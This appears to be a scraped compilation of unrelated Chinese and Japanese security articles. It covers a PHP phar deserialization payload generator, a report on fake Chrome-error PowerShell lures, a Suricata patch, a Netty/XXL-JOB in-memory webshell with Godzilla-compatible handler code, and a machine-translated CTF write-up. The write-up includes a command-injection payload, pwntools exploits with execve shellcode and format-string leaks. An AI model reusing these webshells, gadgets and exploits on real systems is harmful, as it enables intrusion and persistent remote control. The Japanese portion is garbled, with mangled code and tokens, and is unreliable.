manifest這個部分不同區間指定了一些信息,其中就包含了反序列化的數據。 https://www.php.net/manual/zh/phar.fileformat.phar.php1-4(bytes) 存放的是整個manifest 的長度,01C7轉換為10進制為455,代表整個manifest 的長度455。 5-8(bytes) Phar 中的文件數也就是contents 中的文件數,有一個文件。 9-10 存放的是API version 版本。 11-14 Global Phar bitmapped flags。 15-18 如果有別名,那麼該區間存放的是別名長度,這裡不存在別名。 19-22 元數據長度0191 轉十進制401 代表元數據長度為401。 22-?元數據,元數據中存放的就是反序列化的數據。 contents這個部分可有可無,是manifest 第二個區間指定的一個內容,官網沒有具體說明,漏洞利用時也不會用到。 signatureactual signature這個部分存放簽名內容。簽名的方式不同,簽名的長度也不一樣,SHA1 簽名為20 字節,MD5 簽名為16 字節,SHA256 簽名為32 字節,SHA512 簽名為64 字節。 OPENSSL 簽名的長度取決於私鑰的大小。 ignature flags (4 bytes)這個部分標識簽名的算法,0x0001 用於定義MD5 簽名,0x0002 用於定義SHA1 簽名,0x0003 用於定義SHA256 簽名,0x0004 用於定義SHA512 簽名。0x0010 用於定義OPENSSL 簽名。 GBMB (4 bytes)Magic GBMB簽名算法為02,使用的即是SHA1簽名。 簽名的長度為20 字節。 通過對整個phar文件格式進行解析,發現大部分字段都是固定不變的。需要變化的字段有: 1、manifest 的長度 2、manifest 中元數據 3、manifest 中的元數據長度 4、signature flag 簽名算法 5、signature 簽名數據 java生成phar文件最終構造得到: packageorg.example; importcom.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;importcom.sun.org.apache.xml.internal.security.utils.Base64; importjava.io.ByteArrayOutputStream;importjava.io.FileOutputStream;importjava.io.IOException;importjava.nio.ByteBuffer;importjava.nio.charset.StandardCharsets;importjava.security.MessageDigest;importjava.security.NoSuchAlgorithmException; publicclassApp{publicstaticvoidmain(String[]args)throwsIOException,Base64DecodingException{finalFileOutputStreamfileOutputStream=newFileOutputStream('phar.phar');finalbyte[]decode=Base64.decode('TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBc Q29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZ XMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzo
-
標題:虛假的Google Chrome 錯誤誘騙用戶運行惡意PowerShell 腳本
一項新的惡意軟件分發活動正使用虛假的Google Chrome、Word 和OneDrive 錯誤誘騙用戶運行安裝惡意軟件的惡意PowerShell“修復程序”。 據觀察,這項新活動被多個惡意分子使用,包括ClearFake 背後的惡意分子、一個名為ClickFix 的新攻擊集群,以及TA571 威脅者,後者以垃圾郵件分發者的身份運作,發送大量電子郵件,導致惡意軟件和勒索軟件感染。 此前的ClearFake 攻擊利用網站覆蓋層,提示訪問者安裝虛假的瀏覽器更新,進而安裝惡意軟件。 威脅者還在新的攻擊中使用HTML 附件和受感染網站中的JavaScript。但是,現在覆蓋層會顯示虛假的Google Chrome、Microsoft Word 和OneDrive 錯誤。這些錯誤會提示訪問者單擊按鈕將PowerShell“修復”複製到剪貼板,然後在“運行:”對話框或PowerShell 提示符中粘貼並運行它。 ProofPoint 的一份新報告稱:“儘管攻擊鏈需要大量用戶交互才能成功,但社會工程學可以同時向人們呈現看似真實的問題和解決方案,這可能會促使用戶在不考慮風險的情況下採取行動。” Proofpoint 發現的有效載荷包括DarkGate、Matanbuchus、NetSupport、Amadey Loader、XMRig、剪貼板劫持程序和Lumma Stealer。 PowerShell“修復”導致惡意軟件Proofpoint 分析師觀察到三條攻擊鏈,它們的區別主要在於初始階段,只有第一條攻擊鏈不能高度可信地歸因於TA571。 在第一個案例中,與ClearFake 背後的惡意分子有關,用戶訪問一個受感染的網站,該網站通過幣安的智能鏈合約加載託管在區塊鏈上的惡意腳本。 該腳本執行一些檢查並顯示虛假的Google Chrome 警告,指出顯示網頁時出現問題。然後,對話框提示訪問者通過將PowerShell 腳本複製到Windows 剪貼板並在Windows PowerShell(管理)控制台中運行該腳本來安裝“根證書”。 偽造的Google Chrome 錯誤 當執行PowerShell 腳本時,它將執行各種步驟來確認設備是有效目標,然後它將下載其他有效負載,如下所述: 马云惹不起马云刷新DNS 緩存; 马云惹不起马云刪除剪貼板內容; 马云惹不起马云顯示誘餌消息; 马云惹不起马云下載另一個遠程PowerShell 腳本,該腳本在下載信息竊取程序之前執行反虛擬機檢查。 “ClearFake”攻擊鏈 第二條攻擊鏈與“ClickFix”活動有關,它在受感染的網站上使用注入,創建一個iframe 來覆蓋另一個虛假的Google Chrome 錯誤。用戶被指示打開“Windows PowerShell(管理員)”並粘貼提供的代碼,從而導致上述相同的感染。 最後,基於電子郵件的感染鏈使用類似於Microsoft Word 文檔的HTML 附件,提示用戶安裝“Word Online”擴展程序才能正確查看文檔。 錯誤消息提供“如何修復”和“自動修復”選項,其中“如何修復”將base64 編碼的PowerShell 命令複製到剪貼板,指示用戶將其粘貼到PowerShell 中。 “自動修復”使用search-ms 協議在遠程攻擊者控制的文件共享上顯示WebDAV 託管的“fix.msi”或“fix.vbs”文件。 偽造的Microsoft Word 錯誤會導致惡意軟件 在這種情況下,PowerShell 命令會下載並執行MSI 文件或VBS 腳本,從而分別導致Matanbuchus 或DarkGate 感染。 在所有情況下,惡意分子都利用了目標對在其係統上執行PowerShell 命令的風險缺乏認識這一事實。他們還利用了Windows 無法檢測和阻止粘貼代碼發起的惡意操作這一特點。 不同的攻擊鏈都表明TA571 正在積極嘗試多種方法,以提高效率並尋找更多感染途徑來入侵更多系統。
-
標題:Suricata引擎二次開發之命中規則定位
二開背景suricata是一款高性能的開源網絡入侵檢測防禦引擎,旨在檢測、預防和應對網絡中的惡意活動和攻擊。 suricata引擎使用多線程技術,能夠快速、準確地分析網絡流量並識別潛在的安全威脅,是眾多IDS和IPS廠商的底層規則檢測模塊。 前段時間搭了個suricata引擎播包測試流量規則,發現原生的suricata引擎並不能獲取規則匹配的位置、命中的字符串等信息。因suricata引擎並不會輸出命中的信息,遂修改源碼,改了命中詳情(下文簡稱高亮)出來,今天想跟大家分享一下修改和使用的過程。 1、suricat編譯安裝參考官方文檔https://docs.suricata.io/en/suricata-6.0.0/install.html#install-advanced 先裝庫,裝rust支持,裝make 然後下載源碼make 編譯後的二進製程序在/src/.libs/suricata查看依賴庫,然後補齊到默認so庫目錄中即可運行。 2、vscode+gdb調試suricata環境搭建然後就是裝插件,除了必備的c語言插件全家桶之外還需要裝GDB Debug這個插件。 接著任意新建一個運行配置。 修改lauch.json為: { //Use IntelliSense to learn about possible attributes. //Hover to view descriptions of existing attributes. //For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 'version': '0.2.0', 'configurations': [ { 'name': '(gdb) Launch', 'type': 'cppdbg', 'request': 'launch', 'program': '${fileDirname}/./src/.libs/suricata', //以下為監聽網卡模式。 //'args': [ //'-i', 'ens33', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' //], //以下為讀包模式。 'args': [ '-r', '/home/lalala/Desktop/suricata/6/6-27/48040.pcap', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' ], 'stopAtEntry': true, 'cwd': '${fileDirname}', 'environment': [], 'externalConsole': false, 'MIMode': 'gdb', 'setupCommands': [ { 'description': 'Enable pretty-printing for gdb', 'text': '-enable-pretty-printing', 'ignoreFailures': true }, { 'description': 'Set Disassembly Flavor to Intel', 'text': '-gdb-set disassembly-flavor intel', 'ignoreFailures': true } ] }, ]}選擇配置好的配置運行,看到斷在入口,調試環境完成。 3、suricata流程分析,尋找關鍵位置流程過於復雜,簡單理解就是匹配和記錄日誌的地方是分在不同線程,但是又有結構體可以從匹配帶到那裡。 4、關鍵位置代碼分析,獲取高亮內容根據流程,在初始化後慢慢摸索找到關鍵函數DetectEngineContentInspection smd為傳入規則,根據type的不同走不同的代碼塊兒匹配。本次加高亮重點關注CONTENT和PCRE這兩個最常用的類型。 CONTENT代碼塊裡,重點在於這個found。分析得出最後兩個else裡都是命中。 根據原字符串,偏移,長度即可組合出高亮字符串。 f為flow結構體也就是會帶到打印日誌那邊的結構體,在結構體中新加一個字符串,即可達成帶數據到日誌流程的目的。 高亮函數代碼: staticintGet_gaoliang(constchar*data,u_int32_tend,u_int32_tlen,char*res){ chartmp[1024]=''; if(len1024) { memcpy(tmp,data+end-len,len); }else{ memcpy(tmp,data+end-len,1024); } strncat(res,tmp,4096); strncat(res,'\n\0',4096); return1;} pcre同理,在命中流程中加入寫高亮字符串即可。 5、高亮加到日誌高亮字符已經寫入到了flow結構體。下一步就是在打印日誌的時候讀到,寫出來。 最優先的當然是fastlog,因為fastlog本就是觸發規則會進行輸出的日誌,且沒有其他干擾。 從Packet結構體找到flow結構體找到其中的gaoliang字符串,打印即可。 最終效果,fastlog會在正常展示命中的同時,講高亮內容展示。 6、修改匯總匯總代碼放在github 上鍊接https://github.com/webraybtl/suricata_gaoliang 修改文件詳情: alert-fastlog.c加打印 修改AlertFastLogger 添加如下代碼: PrintBufferData(alert_buffer,size,MAX_FASTLOG_ALERT_SIZE,'=========ruleid:%'PRIu32'高亮字段展示=======:\n%s====================================\n',pa-s-id,p-flow-gaoliang); detect-engine-content-inspection.c加Get_gaoliang函數 修改DetectEngineContentInspection函數加入寫入高亮字符串邏輯。 static int Get_gaoliang(const char* data,u_int32_t end, u_int32_t len,char* res){ char tmp[1024]=''; if (len1024) { memcpy(tmp, data + end-len, len); }else{ memcpy(tmp, data + end-len, 1024); } strncat(res, tmp,4096); strncat(res, '\n\0',4096); return 1; } int DetectEngineContentInspection(DetectEngineCtx *de_ctx, DetectEngineThreadCtx *det_ctx, const Signature *s, const SigMatchData *smd, Packet *p, Flow *f, const uint8_t *buffer, uint32_t buffer_len, uint32_t stream_start_offset, uint8_t flags, uint8_t inspection_mode) { . if (found==NULL !(cd-flags DETECT_CONTENT_NEGATED)) { if ((cd-flags (DETECT_CONTENT_DISTANCE|DETECT_CONTENT_WITHIN))==0) { /* independent match from previous matches, so failure is fatal */det_ctx-discontinue_matching=1; } goto no_match; } else if (found==NULL (cd-flags DETECT_CONTENT_NEGATED)) { goto match; } else if (found !=NULL (cd-flags DETECT_CONTENT_NEGATED)) { if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } SCLogInfo('content %'PRIu32' matched at offset %'PRIu32', but negated so no match', cd-id, match_offset); /* don't bother carrying recursive matches now, for preceding * relative keywords */if (DETECT_CONTENT_IS_SINGLE(cd)) det_ctx-discontinue_matching=1; goto no_match; } else { match_offset=(uint32_t)((found - buffer) + cd-content_len); if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } . flow.hflow結構體加一個gaoliang字符串成員。 typedefstructFlow_{ . . . chargaoliang[4096]; }Flow; 遺留問題1、因只開闢了4096字節存高亮字符,會有溢出。 2、直接按字符串打印展示出來的,對十六進制展示不理想,00會導致打印不全。 原文鏈接
-
標題:netty內存馬探究
0x01 前言基於netty動態創建pipeline的特性,其內存馬的構造思路與tomcat有一定的區別,目前網上有關netty內存馬的文章都圍繞CVE-2022-22947和XXL-JOB兩種場景展開,並未對其做更為詳細的分析。本文就以上述兩種場景為始,嘗試從源碼角度探究netty內存馬的部分細節,以供大家參考。 0x02 Netty介紹I/O事件:分為出站和入站兩種事件,不同的事件會觸發不同種類的handler。 Handler (ChannelHandler):handler用於處理I/O事件,繼承如下幾種接口,並重寫channelRead方法完成請求的處理,功能類似於filter。 ChannelInboundHandlerAdapter入站I/O事件觸發該 handlerChannelOutboundHandlerAdapter出站I/O事件觸發該 handlerChannelDuplexHandler入站和出站事件均會觸發該handlerChannel (SocketChannel):可以理解為對Socket 的封裝, 提供了Socket 狀態、讀寫等操作,每當Netty 建立了一個連接後,都會創建一個對應的Channel 實例,同時還會初始化和Channel 所對應的pipeline。 Pipeline (ChannelPipeline):由多個handler所構成的雙向鍊錶,並提供如addFirst、addLast等方法添加handler。需要注意的是,每次有新請求入站時,都會創建一個與之對應的channel,同時channel會在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)裡創建一個與之對應的pipeline。 構造netty內存馬的一個思路,就是在pipeline中插入我們自定義的handler,同時,由於pipeline動態創建的特性,如何保證handler的持久化才是關鍵,本文以此為出發點,嘗試探究netty內存馬在不同場景下的利用原理。 0x03CVE-2022-22947先來簡單回顧一下CVE-2022-22947是如何注入內存馬的,文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit,在reactor.netty中,channel的初始化位於reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。 關鍵點如下: config.defaultOnChannelInit()返回一個默認的ChannelPipelineConfigurer,隨後調用then方法,進入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer,從函數名也能夠看出,這個方法用於合併對象,將當前默認的ChannelPipelineConfigurer與config.doOnChannelInit合二為一,返回一個CompositeChannelPipelineConfigurer。 隨後調用CompositeChannelPipelineConfigurer#onChannelInit,在此處循環調用configurer#onChannelInit,其中就包括我們反射傳入的doOnChannelInit#onChannelInit。 c0ny1師傅給出的案例,就在onChannelInit內完成handler的添加,由於反射修改了doOnChannelInit,後續有新的請求入站,都會重複上述流程,進而完成handler的持久化。 publicvoidonChannelInit(ConnectionObserverconnectionObserver,Channelchannel,SocketAddresssocketAddress){ChannelPipelinepipeline=channel.pipeline();pipeline.addBefore('reactor.left.httpTrafficHandler','memshell_handler',newNettyMemshell());}另外,從reactor.netty.transport.TransportConfig#doOnChannelInit的路徑也能看出,該場景依賴reactor.netty,並不適用純io.netty的環境,如xxl-job等場景。 0x04XXL-JOB對於純粹的io.netty環境,在XXL-JOB內存馬中給出的答案是定制化內存馬,核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的實現,由於每次請求都會觸發ServerBootstrap初始化流程,隨即進入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));而EmbedServer中的executorBiz在僅在啟動時觸發實例化,在整個應用程序的生命週期中都不變,使用動態類加載替換其實現,就能完成內存馬的持久化。 在文章開頭,作者也曾嘗試反射調用pipeline.addBefore,依然是上面所提到的問題,不過很容易發現,通過ServerBootstrap所添加的EmbedHttpServerHandler能夠常駐內存,如果我們想要利用這一特性,還需進一步分析io.netty.bootstrap.ServerBootstrap的初始化過程。 0x05 ServerBootstrap限於篇幅,這裡僅截取關鍵代碼,直接定位到pipeline創建完成之後的片段,首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一個ServerBootstrapAcceptor,需要注意一下這裡的childHandler,這也是一種持久化的思路,後續會繼續提到。 此時pipeline在內存中的情況如下,可以看到已經添加了ServerBootstrapAcceptor。 netty介紹部分提及過handler的channelRead方法用於處理請求,因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的實現,這裡ServerBootstrapAcceptor把之前傳入的childHandler添加到pipeline中。 childHandler由開發者所定義,通常會使用如下範式定義ServerBootStrap,也就是添加客戶端連接時所需要的handler。 ServerBootstrapbootstrap=newServerBootstrap();bootstrap.group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).childHandler(newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(.).addLast(.);}})由開發者所定義的ChannelInitializer最終會走到ChannelInitializer#initChannel進行初始化,調用棧如下: 總結一下該流程,每次請求都將觸發一次ServerBootstrap初始化,隨即pipeline根據現有的ChannelInitializer#initChannel添加其他handler,若能根據這一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化這一目標。 0x06內存馬實現在探究netty的過程中,發現這樣一篇文章: xxl-job利用研究,作者給出的EXP已經很接近完整版了,在文章的最後拋出兩個問題,一是'註冊的handler必須加上@ChannelHandler.Sharable標籤,否則會執行器會報錯崩潰',二是'壞消息是這個內存馬的實現是替換了handler,所以原本執行邏輯會消失,建議跑路前重啟一下執行器'。 這兩個問題很容易解決: 1、對於需要加入@ChannelHandler.Sharable這點而言,實測是不需要的,由於我們自定義的handler是通過new的方式創建的,理論上來講就是unSharable的。 2、反射修改ChannelInitializer導致執行器失效的問題,只需要給bootstrap添加一個EmbedHttpServerHandler就能保留其原有功能。 setFieldValue(embedHttpServerHandler,'childHandler',newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(newIdleStateHandler(0,0,30*3,TimeUnit.SECONDS))//beat3N,closeifidle.addLast(newHttpServe rCodec()).addLast(newHttpObjectAggregator(5*1024*1024))//mergerequestreponsetoFULL.addLast(newNettyThreadHandler()).addLast(newEmbedServer.EmbedHttpServerHandler(newExecutorBizImpl(),'',newThreadPoolExecutor(0,200,60L,TimeUnit.SECONDS,newLinkedBlockingQueu enewThreadFactory(){@OverridepublicThreadnewThread(Runnabler){returnnewThread(r,'xxl-rpc,EmbedServerbizThreadPool-'+r.hashCode());}},newRejectedExecutionHandler(){@OverridepublicvoidrejectedExecution(Runnabler,ThreadPoolExecutorexecutor){thrownewRuntimeExc eption('xxl-job,EmbedServerbizThreadPoolisEXHAUSTED!');}})));}});實戰中的利用還需兼容webshell管理工具,對於CVE-2022-22947而言,已有哥斯拉的馬作為參考,可直接在NettyMemshell基礎上稍作修改,需要注意的是,馬子裡的channelRead方法不能直接使用,問題出在條件判斷處,msg很有可能即實現了HttpRequest,也實現了HttpContent,因此走不到else中的邏輯,修改方式也很簡單,去掉else即可。 目前實測下來,姑且認為不影響正常的功能,pipeline在內存中的情況如下: packagecom.xxl.job.service.handler; importcom.xxl.job.core.biz.impl.ExecutorBizImpl;importcom.xxl.job.core.server.EmbedServer;importio.netty.buffer.ByteBuf;importio.netty.buffer.Unpooled;importio.netty.channel.*;importio.netty.channel.socket.SocketChannel;importio.netty.handler.codec.http.*;importio. netty.handler.timeout.IdleStateHandler;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.net.URL;importjava.net.URLClassLoader;importjava.util.AbstractMap;importjava.util.HashSet;importjava.util.concurrent.*; importcom.xxl.job.core.log.XxlJobLogger;importcom.xxl.job.core.biz.model.ReturnT;importcom.xxl.job.core.handler.IJobHandler; publicclassDemoGlueJobHandlerextendsIJobHandler{publicstaticclassNettyThreadHandlerextendsChannelDuplexHandler{Stringxc='3c6e0b8a9c15224a';Stringpass='pass';Stringmd5=md5(pass+xc);Stringresult='';privatestaticThreadLocalAbstractMap.SimpleEntryprivatestaticClasspayload; privatestaticClassdefClass(byte[]classbytes)throwsException{URLClassLoaderurlClassLoader=newURLClassLoader(newURL[0],Thread.currentThread().getContextClassLoader());Methodmethod=Clas sLoader.class.getDeclaredMethod('defineClass',byte[].class,int.class,int.class);method.setAccessible(true);return(Class)method.invoke(urlClassLoader,classbytes,0,classbytes.length);} publicbyte[]x(byte[]s,booleanm){try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance('AES');c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),'AES'));returnc.doFinal(s);}catch(Exceptione){returnnull;}}publicstaticStringmd5 (Strings){Stringret=null;try{java.security.MessageDigestm;m=java.security.MessageDigest.getInstance('MD5');m.update(s.getBytes(),0,s.length());ret=newjava.math.BigInteger(1,m.digest()).toString(16).toUpperCase();}catch(Exceptione){}returnret;} @Override//Step2.作為Handler處理請求,在此實現內存馬的功能邏輯publicvoidchannelRead(ChannelHandlerContextctx,Objectmsg)throwsException{if(((HttpRequest)msg).uri().contains('netty_memshell')){if(m sginstanceofHttpRequest){HttpRequesthttpRequest=(HttpRequest)msg;AbstractMap.SimpleEntryrequestThreadLocal.set(simpleEntry);}if(msginstanceofHttpContent){HttpContenthttpContent
-
タイトル:四川パンダカップ予備および最終的な質問WP
予備競争 web_ezcms スワッガーリークテスト/テストテストアカウントログイン、/sys/user/**認証を実行していません。スーパー管理者ユーザーを追加できます。 現時点では、roleIDはまだ不明です。ロールモジュールは不正ではありません。ユーザーモジュールを読み続け、インターフェイスを発見します ここにはロールIDリークがあります。ここでは、以前にリークされた管理者のIDFCF34B56-A7A2-4719-9236-867495E74C31に記入してください 取得/sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31この時点で、スーパー管理者IDは11b3b80c-4a0b-4a92-96ea-fdd4f7a4a4a7e9 { 'createwhere ':0、 'Deptid':'1'、 'email ':' '、 'password ':'123456'、 'Phone':'1111111111'、 'roleids': [ '11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9' ]、 'sex':'fmale'、 'username ':'hacker' }パスワードフィールドデコードに失敗し、テストアカウントでログを確認して、AESのキーであるAbcdefghijklmnopを見つけ、ユーザーが正常に追加されました。ユーザーを追加した後、モジュールでping関数を見つけましたが、WAFがあります。 WAFをバイパスし、コマンドを実行してフラグを取得します post/sys/pinghttp/1.1 host: user-agent:mozilla/5.0(macintosh; intelmacosx10.15; rv3360126.0)gecko/20100101firefox/126.0 Accept:Application/json、text/javascript、*/*; q=0.01 Accept-Language:Zh-Cn、Zh; q=0.8、Zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 Accept-Encoding:GZIP、deflate content-type:Application/json; charset=utf-8 authorization:eyjhbgcioiijiuzi1nij9.eyjzdwiioiijmy2yzngi1ni1hni1hni1hni2eyltq3mtktotizni04njc0otvlnzrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvnmta2v55ijpbinnn5czp1c2vyomxpc3qilcjzexm 6ZgVWDDP1CGRHDGUILCJZEXM6ZGVWDDPKZXRHAWWILCJZEXM6DXNLCJPYB2XLONVWZGF0ZSISINNN5CZPWZXJTAXNZAW9UOMFKZZCISINNN5CZPWZXJTAXNZAW9UOMFKZCISINN5CZP1C2BYOMFKZCISCISCISINNN5CZP1C2BYOMFKZCISCISCISINN5 p1c2vyomfkzcisinn5czp1c2vyomrlbgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzzexm6dxnlcjpkzxrhawwilcjzexm6zgiwiciwiciwic3lciwiciwiciwic3lciwikiwic3lckzwdgkdgkdgkdgkdgkdgkzdgkdgkzdgkzdgkdgkzdgkkzdgkdgkzdgkdgkkzdgkdgkdgkdgkkzdgkkdgkdgkknedgiwic3l jvbgu6dxbkyxrliiwic3lzonjvbgu6zgv0ywlsiiwic3lzomrlchq6bglzdcisinnn5czpkzxb0mfkzcisinn5czp1c2vyonvwzgf0zsisinnn5czp2xl2xl2xl2xLisb2xLie 6cm9sztpkzwxldgvkiiwic3lzonblcm1pc3npb246bglzdcisinn5czpwzjtaxnzaw9uomrldgfpbcisinn5czpwzxjtaxnzaw9uomrldgfpbcisinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czn5 mrlbgv0zwqilcjzexm6bg9nomrlbgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinnn5czinnn5czinnn5czinnn5czinnn5czinnn5cisinnn5czpsb2c6bglzdcjdlcjqd3qddx nlci1uyw1llwtlesi6imfkbwluiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mty3mty3mty3mty3mty0lftbd2b7yaampkktl_eo0kjcb5j3bw8fka X-Requested With:xmlhttprequest Content-Length:28 Origin: DNT:1 SEC-GPC:1 connection:close 参照: cookie:jsessionid=c701d746da63e8fb94270ad6d2fd9adb sec-fetch-dest:Empty sec-fetch-mode:cors SEC-FETCH-SITE:SAME-ORIGIN Priority:U=1 {'ip':'10.10.10.10-1 || cat/flag'} トップシークレットファイルコードP importcv2 importnumpyasnp S=1790932091819291499534661361785420675976823277412565868079070707029728290913658 fromcrypto.util.numberimport* #P、Q=(24162760378372762422470687817893681267、 #34743245425789325049640796550677777649463) ## assertp ** 2+q ** 2==s ## print(isprime(p)、isprime(q)) #img_path='flag_enc.png' #IMG=cv2.imread(img_path) #print(img.shape) fromympy.solvers.diophantine.diophantineimportcornacchia '' ' この場所は、sから変更し、分解し、Factordbだけを変更する必要があります f={724721568156194459002808961358148476581:1,157606014 2432444438240601:1,5801674693:1,2:1,1351:1}} '' ' x1=cornacchia(1,1、s) Fora、binx1: Asserta ** 2+B ** 2==s ifisprime(a)andisprime(b): 印刷(a、b) #ここでPとQを取得しました fromcrypto.util.numberimport* P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957 S=1790932091819291499534661361785420675976823277412565868079070707029728290913658 assertisprime(p)andisprime(q)andp ** 2+q ** 2==s importcv2 path1='flag_enc.png' img=cv2.imread(path1) #print(img.shape) r、c、d=img.shape 印刷(r、c) #i、j=101,201 fromtqdmimporttqdm A、B=P、Q foriintqdm(range(r)): Forjinrange(c): set1=set() set1.add((i、j)) i1、j1=i、j WHILETRUE: x=(i1+b*j1)%r y=((a*i1)+(a*b+1)*j1)%c i1、j1=x、y if(x、y)notinset1: set1.add((x、y)) else: ifi==0andj==0: 続行します assertlen(set1)==190#はすべてデフォルト190です #ここは190であることがわかりました。後で触れ始めたのは偶然でした。 #s1=s%190 #print(s1) #importnumpyasnp #defarnold(img、shuffle_times、a、b): #r、c、d=img.shape #p=np.zeros(img.shape、np.uint8) #print(r、c、d、shuffle_times) #forsinrange(shuffle_times): #foriinrange(r): #forjinrange(c): #x=(i+b*j)%r #y=((a*i)+(a*b+1)*j)%c #P [x、y、]=img [i、j、] #img=np.copy(p) #returnp #x1=アーノルド(img、11、p、q) #cv2.imwrite( 'flag3.png'、x1) ## cv2.imwrite( 'flag1.png'、img) # C=17909320918192914995346613617854206759768232774125658680790707029728290913658 P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957 importcv2 importnumpyasnp Defarnold(IMG、shuffle_times、a、b): r、c、d=img.shape p=np.zeros(img.shape、np.uint8) 印刷(r、c、d、shuffle_times) forsinrange(shuffle_times): foriinrange(r): Forjinrange(c): x=(i+b*j)%r y=((a*i)+(a*b+1)*j)%c p [x、y、]=img [i、j、] img=np.copy(p) 戻る img=cv2.imread( 'flag_enc.png') #print(img) C1=C%190 Foriinrange(190): img=arnold(img、1、p、q) cv2.imwrite(f'flag {i+1} .png '、img) '' ' 1。激しく列挙してください。とにかく、サイクルは190です。すべてを列挙してください。 i=66を見つけると、flag67.pngはflagです 2.FLAG {ailuropoda_rnelaNoleuca} '' 正しいことをし続ける トラフィックパケットから取得されたデータは、画像の16進システムです 彼の16進システムを確認し、彼の終わりに追加のデータがあることを見つけます それはVIM描画コマンドで、drawitを直接インストールし、コマンドを入力してマップを描画します ゲーム ゲームを直接プレイしてフラグを取得します これは本当のサインインです funiot Dockerファイルのセットを提供し、バイナリファイルを実行し、逆を直接開き、次にダイナミックデバッグと静的分析を組み合わせてプロトコル形式を分析し、最終的に読み取りファイルの関数の1つを使用し、//ByPass比較検出を使用します。 次に、フラグを読みます: frommpwnimport* Importzlib #p=remote( '127.0.0.1'、6768) p=remote( '173.34.20.10'、6768) ヘッダー=b'funiot '#6 CMD=0x102 cmd_encode=int(cmd).to_bytes(2、 'big') len=0x0101 length=int(len).to_bytes(2、 'big') #content=b'getinfo:shadow ' #content=b'getinfo:/lib/udev/rc_keymaps/asus_pc39.toml ' content=b'getinfo: //flag ' content=content.ljust(0x101、b '\ x00') check_sum=int(zlib.crc32(content))。to_bytes(4、 'big') full_content=header+length+cmd_encode+check_sum+content #packet: #header:6Bytes #length:2bytes #CMD:2BYTES #CheckSum:4Bytes #CONTENT:UNKNOW context.log_level='debug' p.send(full_content) #p.Interactive() ImportBase64 print(base64.b64decode(p.recv())。デコード( 'utf-8')) #command:getinfo、setinfo、secret yesure_hack 質問には、最大値と最小値を入力し、この範囲の乱数を推測する必要があります。正しく推測すると、スタックオーバーフローを入力します。オーバーフロー文字の数は間違っていると推測した回数であるため、2つの隣接する数値を入力して、十分な回数を推測してから、定期的なスタックオーバーフロー使用率を実行できます。スタックを開いた後に実行できるため、検出でペイロードが空になっていないことが必要なため、シェルコードを直接書き、XORバイパスされていない非空白検出を実行しました。 #ランダム%(Max-Min+1)+Min frommpwnimport* context.log_level='debug' #p=process( './main') p=remote( '173.34.20.233'、9999) P.Sendlinefter(b'ch: '、b'1') P.Sendlinefter(b'enteraminimumandmaximummumberfortheguessinggame: '、b'12') Foriinrange(99): P.Sendlinefter(b'guessanumber '、b'1') P.Sendlinefter(b'guessanumberbetween '、b'2') ペイロード=b'a '*0x3c ペイロード+=P32(0x0805DEA9) ペイロード+=asm( '' 'push0xffffffff4 ポピアックス push0xffffffffffff popepx Xoreax、EBX push0xff978cd0 Popecx Xorecx、EBX pushecx push0x6e69622f movebx、esp Xorecx、ECX int0x80 '' ') ペイロード=payload.ljust(99、b'a ') 一時停止() P.Sendlineferter(b'congratulation! '、ペイロード) p.Interactive() msg 辞書の辞書のスタックオーバーフロー +フォーマット文字列の脆弱性。これにより、文字列の脆弱性がカナリアとLIBCに漏れています。 frommpwnimport* #p=process( './main') p=remote( '173.34.20.68'、9999) P.Sendlinefter(b'message: '、b'%11 $ p ') canary=int(p.recv(18)、16) 成功(f'canary: {hex(canary)} ') P.Sendlinefter(b'message: '、b'%3 $ p ') libc=int(p.recv(14)、16)-0x10e1f2 成功(f'libc: {hex(libc)} ') 